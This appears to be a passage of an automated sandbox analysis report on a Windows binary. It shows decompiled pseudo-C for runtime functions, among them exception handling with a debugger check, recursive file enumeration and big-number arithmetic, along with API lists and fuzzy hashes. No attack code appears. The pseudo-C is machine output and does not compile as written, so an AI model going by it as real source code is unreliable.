				_t647 =  *((intOrPtr*)(_t523 + 0x6cc0)) + _t664;
				asm("adc eax, ecx");
				_t719 =  *(_t523 + 0x6ca4);
				if(_t719 < 0 || _t719 <= 0 &&  *((intOrPtr*)(_t523 + 0x6ca0)) <= _t647) {
					goto L6;
				} else {
					 *((char*)(_t710 + 0x5f)) = 1;
					E010F3DC9(_t523);
					 *0x1122260(_t710 + 0x14, 8);
					if( *((intOrPtr*)( *((intOrPtr*)( *_t523 + 0xc))))() != 8) {
						goto L8;
					} else {
						_t709 = _t523 + 0x1024;
						E010F6219(_t709, 0, 4,  *((intOrPtr*)(_t523 + 0x21bc)) + 0x5024, _t710 + 0x14, 0, 0, 0, 0);
						 *((intOrPtr*)(_t710 + 0x44)) = _t709;
						goto L7;
					}
				}
			}

0x010f27d4
0x010f27dd
0x010f27e7
0x010f27ee
0x010f27f5
0x010f27f8
0x010f2801
0x010f2804
0x010f2807
0x010f280e
0x010f2880
0x010f2880
0x010f2883
0x010f2883
0x010f2887
0x010f2890
0x010f28ac
0x010f28b2
0x010f28c1
0x010f28c9
0x010f28cf
0x010f28da
0x010f28e5
0x010f28e8
0x010f28ee
0x010f28f4
0x010f28f6
0x010f2904
0x010f2904
0x010f2907
0x010f293c
0x010f2909
0x010f2909
0x010f2909
0x010f290c
0x010f2930
0x010f290e
0x010f290e
0x010f290e
0x010f2911
0x010f2924
0x010f2913
0x010f2913
0x010f2916
0x010f2918
0x010f2918
0x010f2916
0x010f2911
0x010f290c
0x010f2946
0x010f294c
0x010f2952
0x010f2955
0x010f295b
0x010f295e
0x010f2969
0x010f296c
0x010f296d
0x010f2970
0x010f2990
0x010f2996
0x010f299c
0x010f299f
0x010f29a5
0x010f29a8
0x010f29ab
0x010f30ce
0x010f30d6
0x010f30dd
0x010f30e4
0x010f30f1
0x010f3103
0x010f3108
0x010f310e
0x010f3120
0x010f3126
0x010f3133
0x010f3140
0x010f314d
0x010f3153
0x010f3155
0x010f3162
0x010f3164
0x010f3164
0x010f3165
0x010f3165
0x010f3171
0x010f3181
0x010f3181
0x010f3184
0x010f318a
0x010f3190
0x010f3192
0x010f3193
0x010f3198
0x010f31a0
0x010f31a6
0x010f324a
0x010f324d
0x00000000
0x010f324d
0x010f31ac
0x010f31b2
0x010f31b5
0x00000000
0x00000000
0x010f31bb
0x010f31be
0x00000000
0x00000000
0x010f31c4
0x010f31c7
0x010f321c
0x010f3223
0x010f322a
0x010f322f
0x010f3233
0x00000000
0x00000000
0x010f323c
0x010f3241
0x00000000
0x010f3241
0x010f31c9
0x010f31d0
0x00000000
0x00000000
0x010f31d9
0x010f31e7
0x010f31e7
0x010f31ea
0x010f31f1
0x010f31f9
0x010f31fc
0x010f3200
0x010f3202
0x010f3209
0x010f320d
0x010f3210
0x010f3213
0x010f3213
0x010f3213
0x010f3218
0x010f321a
0x00000000
0x00000000
0x00000000
0x010f321a
0x010f3157
0x010f3159
0x010f3160
0x00000000
0x00000000
0x00000000
0x010f3160
0x010f29b1
0x010f30a4
0x010f30a4
0x010f30ae
0x010f30bc
0x010f30c2
0x010f30c2
0x00000000
0x010f30ae
0x010f29b7
0x010f29ba
0x010f2a4e
0x010f2a56
0x010f2a65
0x010f2a69
0x010f2a6c
0x010f2a73
0x010f2a7c
0x010f2a7e
0x010f2a82
0x010f2a88
0x010f2a8d
0x010f2a99
0x010f2aa6
0x010f2ab3
0x010f2ab9
0x010f2abc
0x010f2ac9
0x010f2ac9
0x010f2ac9
0x010f2acb
0x010f2acd
0x010f2acd
0x010f2ad3
0x010f2ad6
0x010f2ae2
0x010f2ae2
0x010f2ae4
0x010f2ae4
0x010f2aef
0x010f2af1
0x010f2af6
0x010f2afc
0x010f2b02
0x010f2b0b
0x010f2b1b
0x010f2b1b
0x010f2b04
0x010f2b04
0x010f2b06
0x010f2b06
0x010f2b1d
0x010f2b33
0x010f2b39
0x010f2b47
0x010f2b52
0x010f2b5d
0x010f2b60
0x010f2b72
0x010f2b80
0x010f2b8b
0x010f2b9b
0x010f2ba9
0x010f2bac
0x010f2bb1
0x010f2bb4
0x010f2bb7
0x010f2bba
0x010f2bbd
0x010f2bbf
0x010f2bc1
0x010f2bc3
0x010f2bc3
0x010f2bc1
0x010f2bcc
0x010f2bd2
0x010f2bd8
0x010f2c1d
0x010f2c1d
0x010f2c20
0x010f2c2a
0x010f2c2c
0x010f2c3e
0x010f2c3e
0x010f2c48
0x010f2c48
0x010f2c4e
0x010f2c50
0x010f2c5a
0x010f2c5f
0x010f2c61
0x010f2c63
0x010f2c6d
0x010f2c6d
0x010f2c5f
0x010f2c74
0x010f2c77
0x010f2c83
0x010f2c83
0x00000000
0x010f2c79
0x010f2c79
0x010f2c7c
0x00000000
0x00000000
0x010f2c80
0x010f2c85
0x010f2c85
0x010f2c91
0x010f2c91
0x010f2c93
0x010f2c99
0x010f2cc7
0x010f2ccb
0x010f2ccd
0x010f2ccf
0x010f2ccf
0x010f2ccf
0x010f2cd2
0x010f2cd2
0x010f2cdd
0x010f2ce3
0x010f2cea
0x010f2cf0
0x010f2cf2
0x010f2cf8
0x010f2cff
0x010f2d05
0x010f2d0c
0x010f2d12
0x010f2d12
0x010f2d18
0x010f2d1b
0x010f2d20
0x010f2d23
0x010f2d25
0x010f2d27
0x010f2d29
0x010f2d29
0x010f2d37
0x010f2d3c
0x010f2d3e
0x010f2d42
0x010f2d49
0x010f2dca
0x010f2dd4
0x010f2ddf
0x010f2de2
0x010f2de9
0x010f2deb
0x010f2deb
0x010f2deb
0x010f2dee
0x010f2df0
0x010f2efc
0x010f2df6
0x010f2dff
0x010f2e02
0x010f2e11
0x010f2e1b
0x010f2e1f
0x010f2e26
0x010f2e28
0x010f2e2e
0x010f2e35
0x010f2e3e
0x010f2e44
0x010f2e45
0x010f2e51
0x010f2e55
0x010f2e5b
0x010f2e5d
0x010f2e65
0x010f2e6b
0x010f2e6d
0x010f2e77
0x010f2e79
0x010f2e84
0x010f2e8c
0x010f2e97
0x010f2eb3
0x010f2ec3
0x010f2ec9
0x010f2ecc
0x010f2ed7
0x010f2edf
0x010f2ee4
0x010f2ee7
0x010f2eea
0x010f2eed
0x010f2eef
0x010f2ef1
0x010f2ef4
0x010f2ef4
0x010f2eef
0x010f2e35
0x010f2e28
0x010f2f05
0x010f2f0c
0x010f2f0e
0x010f2f10
0x010f2f10
0x010f2d4b
0x010f2d4d
0x010f2d50
0x010f2d53
0x010f2d5a
0x010f2d5f
0x010f2d6b
0x010f2d70
0x010f2d73
0x010f2d75
0x010f2d77
0x010f2d8a
0x010f2d94
0x010f2d94
0x010f2d99
0x010f2d99
0x010f2d99
0x010f2d9b
0x010f2d9e
0x010f2da0
0x010f2da2
0x010f2da7
0x010f2dae
0x010f2daf
0x010f2daf
0x010f2db7
0x010f2db7
0x010f2f17
0x010f2f1e
0x010f2f2c
0x010f2f2c
0x010f2f3a
0x010f2f3f
0x010f2f46
0x010f302a
0x010f304b
0x010f3054
0x010f3060
0x010f3066
0x010f306e
0x010f3070
0x010f307d
0x010f3084
0x010f3089
0x010f308d
0x010f309a
0x010f309a
0x010f308d
0x00000000
0x010f2f4c
0x010f2f4f
0x010f2f5d
0x010f2f66
0x010f2f6f
0x010f2f72
0x010f2f74
0x010f2f76
0x010f2f79
0x010f2f7b
0x010f2f7e
0x010f2f81
0x010f2f83
0x010f2f8b
0x010f2f8d
0x010f2f90
0x00000000
0x00000000
0x010f2f96
0x010f2f9b
0x00000000
0x00000000
0x010f2f9d
0x010f2f9f
0x010f2fae
0x010f2fae
0x010f2fbb
0x010f2fc0
0x010f2fc3
0x010f2fc5
0x010f2fc5
0x010f2fc5
0x010f2fc5
0x010f2fc8
0x010f2fca
0x010f2fcd
0x010f2fcd
0x010f2fd0
0x010f3001
0x010f3001
0x010f3001
0x010f3008
0x010f300f
0x010f3014
0x010f2fd2
0x010f2fd4
0x010f2fd7
0x010f2fd7
0x010f2fda
0x010f2fdd
0x010f2fdf
0x010f2fec
0x010f2fee
0x010f2ff4
0x010f2ff6
0x010f2ff9
0x010f2ff9
0x010f2ff9
0x010f2ffe
0x00000000
0x010f2ffe
0x010f3017
0x010f3017
0x010f3018
0x010f301b
0x010f301b
0x010f3024
0x010f3027
0x00000000
0x010f3027
0x010f2f46
0x010f2ca6
0x010f2ca8
0x010f2cad
0x010f2cb1
0x010f2cb3
0x010f2cc1
0x010f2cc3
0x00000000
0x010f2cc3
0x010f2cb5
0x010f2cb8
0x00000000
0x00000000
0x010f2cbc
0x00000000
0x010f2cbd
0x010f2c77
0x010f2c2e
0x010f2c30
0x00000000
0x00000000
0x010f2c32
0x010f2c34
0x010f2c36
0x010f2c36
0x00000000
0x010f2bda
0x010f2bda
0x010f2bda
0x010f2bdd
0x010f2c13
0x00000000
0x010f2c13
0x010f2be0
0x010f2be0
0x010f2be3
0x010f2c07
0x00000000
0x010f2c07
0x010f2be5
0x010f2be5
0x010f2be8
0x010f2bfb
0x010f2bfb
0x00000000
0x010f2bfb
0x010f2bea
0x010f2bed
0x00000000
0x00000000
0x010f2bef
0x00000000
0x010f2bef
0x010f2bd8
0x010f2ad8
0x010f2adb
0x00000000
0x00000000
0x010f2adf
0x00000000
0x010f2adf
0x010f2abe
0x010f2ac1
0x00000000
0x010f2ac3
0x010f2ac3
0x010f2ac5
0x00000000
0x010f2ac5
0x010f2ac1
0x010f29c0
0x010f29c3
0x00000000
0x010f29c9
0x010f29d5
0x010f29dd
0x010f29e5
0x010f29f4
0x010f29fc
0x010f29ff
0x010f2a05
0x010f2a0b
0x010f2a11
0x010f2a13
0x010f2a1d
0x010f2a1d
0x010f2a23
0x010f2a2a
0x010f2a38
0x010f2a3b
0x010f2a41
0x010f2a41
0x00000000
0x010f2a2a
0x010f29c3
0x010f2960
0x010f2967
0x00000000
0x00000000
0x00000000
0x010f2967
0x010f2957
0x010f2957
0x00000000
0x010f28f8
0x010f28fa
0x010f3250
0x010f3253
0x010f3261
0x010f326c
0x010f326c
0x010f28f6
0x010f2892
0x010f2894
0x00000000
0x010f2894
0x010f2818
0x010f281a
0x010f281c
0x010f2822
0x00000000
0x010f282e
0x010f2830
0x010f2834
0x010f2846
0x010f2853
0x00000000
0x010f2855
0x010f2865
0x010f2876
0x010f287b
0x00000000
0x010f287b
0x010f2853

APIs

__EH_prolog.LIBCMT ref: 010F27DD
_strlen.LIBCMT ref: 010F2D6B

Part of subcall function 011012D6: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,010FB592,00000000,?,?,?,001F0210), ref: 011012F2

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 010F2ECC

Strings

CMT, xrefs: 010F2EFF

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharH_prologMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1706572503-2756464174
Opcode ID: 21aaefb4f1953e0e17a9c3f4b193473b90508e2b9ffa498db9b6c8e1714c81c3
Instruction ID: 957ae66a889159f23037e744068c69ce7d186872836957ebed00847f11a8db77
Opcode Fuzzy Hash: 21aaefb4f1953e0e17a9c3f4b193473b90508e2b9ffa498db9b6c8e1714c81c3
Instruction Fuzzy Hash: 9F6205715002498FDF19DF78C896AEA3BE1AF54304F0445BDEEDA8BA82D770E945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 011184EF, Relevance: 4.6, APIs: 3, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E011184EF(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				intOrPtr _v808;
				char _v812;
				signed int _t40;
				char* _t47;
				intOrPtr _t49;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t66;
				intOrPtr _t67;
				int _t68;
				intOrPtr _t69;
				signed int _t70;

				_t69 = __esi;
				_t67 = __edi;
				_t66 = __edx;
				_t61 = __ebx;
				_t40 =  *0x112d668; // 0xf5f1ec05
				_t41 = _t40 ^ _t70;
				_v8 = _t40 ^ _t70;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E0110EF01(_t41);
					_pop(_t62);
				}
				E0110F1A0(_t67,  &_v804, 0, 0x50);
				E0110F1A0(_t67,  &_v724, 0, 0x2cc);
				_v812 =  &_v804;
				_t47 =  &_v724;
				_v808 = _t47;
				_v548 = _t47;
				_v552 = _t62;
				_v556 = _t66;
				_v560 = _t61;
				_v564 = _t69;
				_v568 = _t67;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t25 =  &_v0; // 0x1b
				_t49 = _t25;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t68 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				_t36 =  &_v812; // -785
				if(UnhandledExceptionFilter(_t36) == 0 && _t68 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					E0110EF01(_t57);
				}
				return E0110EA8A(_v8 ^ _t70);
			}

0x011184ef
0x011184ef
0x011184ef
0x011184ef
0x011184fa
0x011184ff
0x01118501
0x01118509
0x0111850b
0x0111850e
0x01118513
0x01118513
0x0111851f
0x01118532
0x01118540
0x01118546
0x0111854c
0x01118552
0x01118558
0x0111855e
0x01118564
0x0111856a
0x01118570
0x01118576
0x0111857d
0x01118584
0x0111858b
0x01118592
0x01118599
0x011185a0
0x011185a1
0x011185aa
0x011185b0
0x011185b0
0x011185b3
0x011185b9
0x011185c6
0x011185cf
0x011185d8
0x011185e1
0x011185ef
0x011185f1
0x011185f7
0x01118606
0x01118612
0x01118615
0x0111861a
0x01118629

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 011185E7
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 011185F1
UnhandledExceptionFilter.KERNEL32(-00000311,?,?,?,?,?,00000000), ref: 011185FE

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 0ac30d5b2927700e49334c164dd9b76bc567b23a821d82579e0d8ca7a8a9eaa2
Instruction ID: cbbaaf3e0a531495463650a4dde6bfb1cadb67f1f460c495bd3d0dece6ede9dc
Opcode Fuzzy Hash: 0ac30d5b2927700e49334c164dd9b76bc567b23a821d82579e0d8ca7a8a9eaa2
Instruction Fuzzy Hash: 7331E674D0121DABCB25DF68D988B8CBBB8BF08310F5045EAE41CA7290E7709B85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0111A928, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0111A928(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr* _v32;
				CHAR* _v36;
				signed int _v48;
				char _v286;
				signed int _v287;
				struct _WIN32_FIND_DATAA _v332;
				intOrPtr* _v336;
				signed int _v340;
				signed int _v344;
				intOrPtr _v372;
				signed int _t35;
				signed int _t40;
				signed int _t43;
				intOrPtr _t45;
				signed char _t47;
				intOrPtr* _t55;
				union _FINDEX_INFO_LEVELS _t57;
				signed int _t62;
				signed int _t65;
				void* _t72;
				void* _t74;
				signed int _t75;
				void* _t78;
				CHAR* _t79;
				intOrPtr* _t83;
				intOrPtr _t85;
				void* _t87;
				intOrPtr* _t88;
				signed int _t92;
				signed int _t96;
				void* _t101;
				intOrPtr _t102;
				signed int _t105;
				union _FINDEX_INFO_LEVELS _t106;
				void* _t111;
				intOrPtr _t112;
				void* _t113;
				signed int _t118;
				void* _t119;
				signed int _t120;
				void* _t121;
				void* _t122;

				_push(__ecx);
				_t83 = _a4;
				_t2 = _t83 + 1; // 0x1
				_t101 = _t2;
				do {
					_t35 =  *_t83;
					_t83 = _t83 + 1;
				} while (_t35 != 0);
				_push(__edi);
				_t105 = _a12;
				_t85 = _t83 - _t101 + 1;
				_v8 = _t85;
				if(_t85 <= (_t35 | 0xffffffff) - _t105) {
					_push(__ebx);
					_push(__esi);
					_t5 = _t105 + 1; // 0x1
					_t78 = _t5 + _t85;
					_t111 = E01118429(_t85, _t78, 1);
					_pop(_t87);
					__eflags = _t105;
					if(_t105 == 0) {
						L6:
						_push(_v8);
						_t78 = _t78 - _t105;
						_t40 = E0111E6E1(_t87, _t111 + _t105, _t78, _a4);
						_t120 = _t119 + 0x10;
						__eflags = _t40;
						if(__eflags != 0) {
							goto L9;
						} else {
							_t72 = E0111AB67(_a16, _t101, __eflags, _t111);
							E0111835E(0);
							_t74 = _t72;
							goto L8;
						}
					} else {
						_push(_t105);
						_t75 = E0111E6E1(_t87, _t111, _t78, _a8);
						_t120 = _t119 + 0x10;
						__eflags = _t75;
						if(_t75 != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E011186C9();
							asm("int3");
							_t118 = _t120;
							_t121 = _t120 - 0x150;
							_t43 =  *0x112d668; // 0xf5f1ec05
							_v48 = _t43 ^ _t118;
							_t88 = _v32;
							_push(_t78);
							_t79 = _v36;
							_push(_t111);
							_t112 = _v332.cAlternateFileName;
							_push(_t105);
							_v372 = _t112;
							while(1) {
								__eflags = _t88 - _t79;
								if(_t88 == _t79) {
									break;
								}
								_t45 =  *_t88;
								__eflags = _t45 - 0x2f;
								if(_t45 != 0x2f) {
									__eflags = _t45 - 0x5c;
									if(_t45 != 0x5c) {
										__eflags = _t45 - 0x3a;
										if(_t45 != 0x3a) {
											_t88 = E0111E730(_t79, _t88);
											continue;
										}
									}
								}
								break;
							}
							_t102 =  *_t88;
							__eflags = _t102 - 0x3a;
							if(_t102 != 0x3a) {
								L19:
								_t106 = 0;
								__eflags = _t102 - 0x2f;
								if(_t102 == 0x2f) {
									L23:
									_t47 = 1;
									__eflags = 1;
								} else {
									__eflags = _t102 - 0x5c;
									if(_t102 == 0x5c) {
										goto L23;
									} else {
										__eflags = _t102 - 0x3a;
										if(_t102 == 0x3a) {
											goto L23;
										} else {
											_t47 = 0;
										}
									}
								}
								_t90 = _t88 - _t79 + 1;
								asm("sbb eax, eax");
								_v340 =  ~(_t47 & 0x000000ff) & _t88 - _t79 + 0x00000001;
								E0110F1A0(_t106,  &_v332, _t106, 0x140);
								_t122 = _t121 + 0xc;
								_t113 = FindFirstFileExA(_t79, _t106,  &_v332, _t106, _t106, _t106);
								_t55 = _v336;
								__eflags = _t113 - 0xffffffff;
								if(_t113 != 0xffffffff) {
									_t92 =  *((intOrPtr*)(_t55 + 4)) -  *_t55;
									__eflags = _t92;
									_t93 = _t92 >> 2;
									_v344 = _t92 >> 2;
									do {
										__eflags = _v332.cFileName - 0x2e;
										if(_v332.cFileName != 0x2e) {
											L36:
											_push(_t55);
											_t57 = E0111A928(_t79, _t93, _t106, _t113,  &(_v332.cFileName), _t79, _v340);
											_t122 = _t122 + 0x10;
											__eflags = _t57;
											if(_t57 != 0) {
												goto L26;
											} else {
												goto L37;
											}
										} else {
											_t93 = _v287;
											__eflags = _t93;
											if(_t93 == 0) {
												goto L37;
											} else {
												__eflags = _t93 - 0x2e;
												if(_t93 != 0x2e) {
													goto L36;
												} else {
													__eflags = _v286;
													if(_v286 == 0) {
														goto L37;
													} else {
														goto L36;
													}
												}
											}
										}
										goto L40;
										L37:
										_t62 = FindNextFileA(_t113,  &_v332);
										__eflags = _t62;
										_t55 = _v336;
									} while (_t62 != 0);
									_t103 =  *_t55;
									_t96 = _v344;
									_t65 =  *((intOrPtr*)(_t55 + 4)) -  *_t55 >> 2;
									__eflags = _t96 - _t65;
									if(_t96 != _t65) {
										E011158F0(_t79, _t106, _t113, _t103 + _t96 * 4, _t65 - _t96, 4, E0111A780);
									}
								} else {
									_push(_t55);
									_t57 = E0111A928(_t79, _t90, _t106, _t113, _t79, _t106, _t106);
									L26:
									_t106 = _t57;
								}
								__eflags = _t113 - 0xffffffff;
								if(_t113 != 0xffffffff) {
									FindClose(_t113);
								}
							} else {
								__eflags = _t88 -  &(_t79[1]);
								if(_t88 ==  &(_t79[1])) {
									goto L19;
								} else {
									_push(_t112);
									E0111A928(_t79, _t88, 0, _t112, _t79, 0, 0);
								}
							}
							__eflags = _v12 ^ _t118;
							return E0110EA8A(_v12 ^ _t118);
						} else {
							goto L6;
						}
					}
				} else {
					_t74 = 0xc;
					L8:
					return _t74;
				}
				L40:
			}

0x0111a92d
0x0111a92e
0x0111a931
0x0111a931
0x0111a934
0x0111a934
0x0111a936
0x0111a937
0x0111a940
0x0111a941
0x0111a944
0x0111a947
0x0111a94c
0x0111a953
0x0111a954
0x0111a955
0x0111a958
0x0111a962
0x0111a965
0x0111a966
0x0111a968
0x0111a97c
0x0111a97c
0x0111a97f
0x0111a989
0x0111a98e
0x0111a991
0x0111a993
0x00000000
0x0111a995
0x0111a999
0x0111a9a2
0x0111a9a8
0x00000000
0x0111a9ab
0x0111a96a
0x0111a96a
0x0111a970
0x0111a975
0x0111a978
0x0111a97a
0x0111a9b1
0x0111a9b3
0x0111a9b4
0x0111a9b5
0x0111a9b6
0x0111a9b7
0x0111a9b8
0x0111a9bd
0x0111a9c1
0x0111a9c3
0x0111a9c9
0x0111a9d0
0x0111a9d3
0x0111a9d6
0x0111a9d7
0x0111a9da
0x0111a9db
0x0111a9de
0x0111a9df
0x0111aa00
0x0111aa00
0x0111aa02
0x00000000
0x00000000
0x0111a9e7
0x0111a9e9
0x0111a9eb
0x0111a9ed
0x0111a9ef
0x0111a9f1
0x0111a9f3
0x0111a9fe
0x00000000
0x0111a9fe
0x0111a9f3
0x0111a9ef
0x00000000
0x0111a9eb
0x0111aa04
0x0111aa06
0x0111aa09
0x0111aa22
0x0111aa22
0x0111aa24
0x0111aa27
0x0111aa37
0x0111aa39
0x0111aa39
0x0111aa29
0x0111aa29
0x0111aa2c
0x00000000
0x0111aa2e
0x0111aa2e
0x0111aa31
0x00000000
0x0111aa33
0x0111aa33
0x0111aa33
0x0111aa31
0x0111aa2c
0x0111aa3f
0x0111aa47
0x0111aa4b
0x0111aa59
0x0111aa5e
0x0111aa73
0x0111aa75
0x0111aa7b
0x0111aa7e
0x0111aab0
0x0111aab0
0x0111aab2
0x0111aab5
0x0111aabb
0x0111aabb
0x0111aac2
0x0111aadc
0x0111aadc
0x0111aaeb
0x0111aaf0
0x0111aaf3
0x0111aaf5
0x00000000
0x00000000
0x00000000
0x00000000
0x0111aac4
0x0111aac4
0x0111aaca
0x0111aacc
0x00000000
0x0111aace
0x0111aace
0x0111aad1
0x00000000
0x0111aad3
0x0111aad3
0x0111aada
0x00000000
0x00000000
0x00000000
0x00000000
0x0111aada
0x0111aad1
0x0111aacc
0x00000000
0x0111aaf7
0x0111aaff
0x0111ab05
0x0111ab07
0x0111ab07
0x0111ab0f
0x0111ab14
0x0111ab1c
0x0111ab1f
0x0111ab21
0x0111ab35
0x0111ab3a
0x0111aa80
0x0111aa80
0x0111aa84
0x0111aa8c
0x0111aa8c
0x0111aa8c
0x0111aa8e
0x0111aa91
0x0111aa94
0x0111aa94
0x0111aa0b
0x0111aa0e
0x0111aa10
0x00000000
0x0111aa12
0x0111aa12
0x0111aa18
0x0111aa1d
0x0111aa10
0x0111aaa1
0x0111aaac
0x00000000
0x00000000
0x00000000
0x0111a97a
0x0111a94e
0x0111a950
0x0111a9ac
0x0111a9b0
0x0111a9b0
0x00000000

Strings

., xrefs: 0111AABB

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 3abaadd1bd5065002ea9d60f4f486cb2f4310695c7c03a2d42ce967da95d7090
Instruction ID: cd06bc94a713daaa5fc958c354ea822ce7967425c966fc26e81a6a764046a6aa
Opcode Fuzzy Hash: 3abaadd1bd5065002ea9d60f4f486cb2f4310695c7c03a2d42ce967da95d7090
Instruction Fuzzy Hash: 363106769001896FDB298E78EC84EFBBFBDDF85314F0001B8E51987245E7309984CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0111CA20, Relevance: 3.5, APIs: 2, Instructions: 464
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E0111CA20(signed int* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int* _v80;
				char _v540;
				signed int _v544;
				signed int _t197;
				signed int _t198;
				signed int* _t200;
				signed int _t201;
				signed int _t204;
				signed int _t206;
				signed int _t208;
				signed int _t209;
				signed int _t213;
				signed int _t219;
				intOrPtr _t225;
				void* _t228;
				signed int _t230;
				signed int _t247;
				signed int _t250;
				void* _t253;
				signed int _t256;
				signed int* _t262;
				signed int _t263;
				signed int _t264;
				void* _t265;
				intOrPtr* _t266;
				signed int _t267;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				signed int* _t274;
				signed int* _t278;
				signed int _t279;
				signed int _t280;
				intOrPtr _t282;
				void* _t286;
				signed char _t292;
				signed int _t295;
				signed int _t303;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				signed int _t311;
				signed int _t313;
				intOrPtr* _t314;
				signed int _t318;
				signed int _t322;
				signed int* _t328;
				signed int _t330;
				signed int _t331;
				signed int _t333;
				void* _t334;
				signed int _t336;
				signed int _t338;
				signed int _t341;
				signed int _t342;
				signed int* _t344;
				signed int _t349;
				signed int _t351;
				void* _t355;
				signed int _t359;
				signed int _t360;
				signed int _t362;
				signed int* _t368;
				signed int* _t369;
				signed int* _t370;
				signed int* _t373;

				_t262 = _a4;
				_t197 =  *_t262;
				if(_t197 != 0) {
					_t328 = _a8;
					_t267 =  *_t328;
					__eflags = _t267;
					if(_t267 != 0) {
						_t3 = _t197 - 1; // -1
						_t349 = _t3;
						_t4 = _t267 - 1; // -1
						_t198 = _t4;
						_v16 = _t349;
						__eflags = _t198;
						if(_t198 != 0) {
							__eflags = _t198 - _t349;
							if(_t198 > _t349) {
								L23:
								__eflags = 0;
								return 0;
							} else {
								_t46 = _t198 + 1; // 0x0
								_t306 = _t349 - _t198;
								_v60 = _t46;
								_t269 = _t349;
								__eflags = _t349 - _t306;
								if(_t349 < _t306) {
									L21:
									_t306 = _t306 + 1;
									__eflags = _t306;
								} else {
									_t368 =  &(_t262[_t349 + 1]);
									_t341 =  &(( &(_t328[_t269 - _t306]))[1]);
									__eflags = _t341;
									while(1) {
										__eflags =  *_t341 -  *_t368;
										if( *_t341 !=  *_t368) {
											break;
										}
										_t269 = _t269 - 1;
										_t341 = _t341 - 4;
										_t368 = _t368 - 4;
										__eflags = _t269 - _t306;
										if(_t269 >= _t306) {
											continue;
										} else {
											goto L21;
										}
										goto L22;
									}
									_t369 = _a8;
									_t54 = (_t269 - _t306) * 4; // 0xfc23b5a
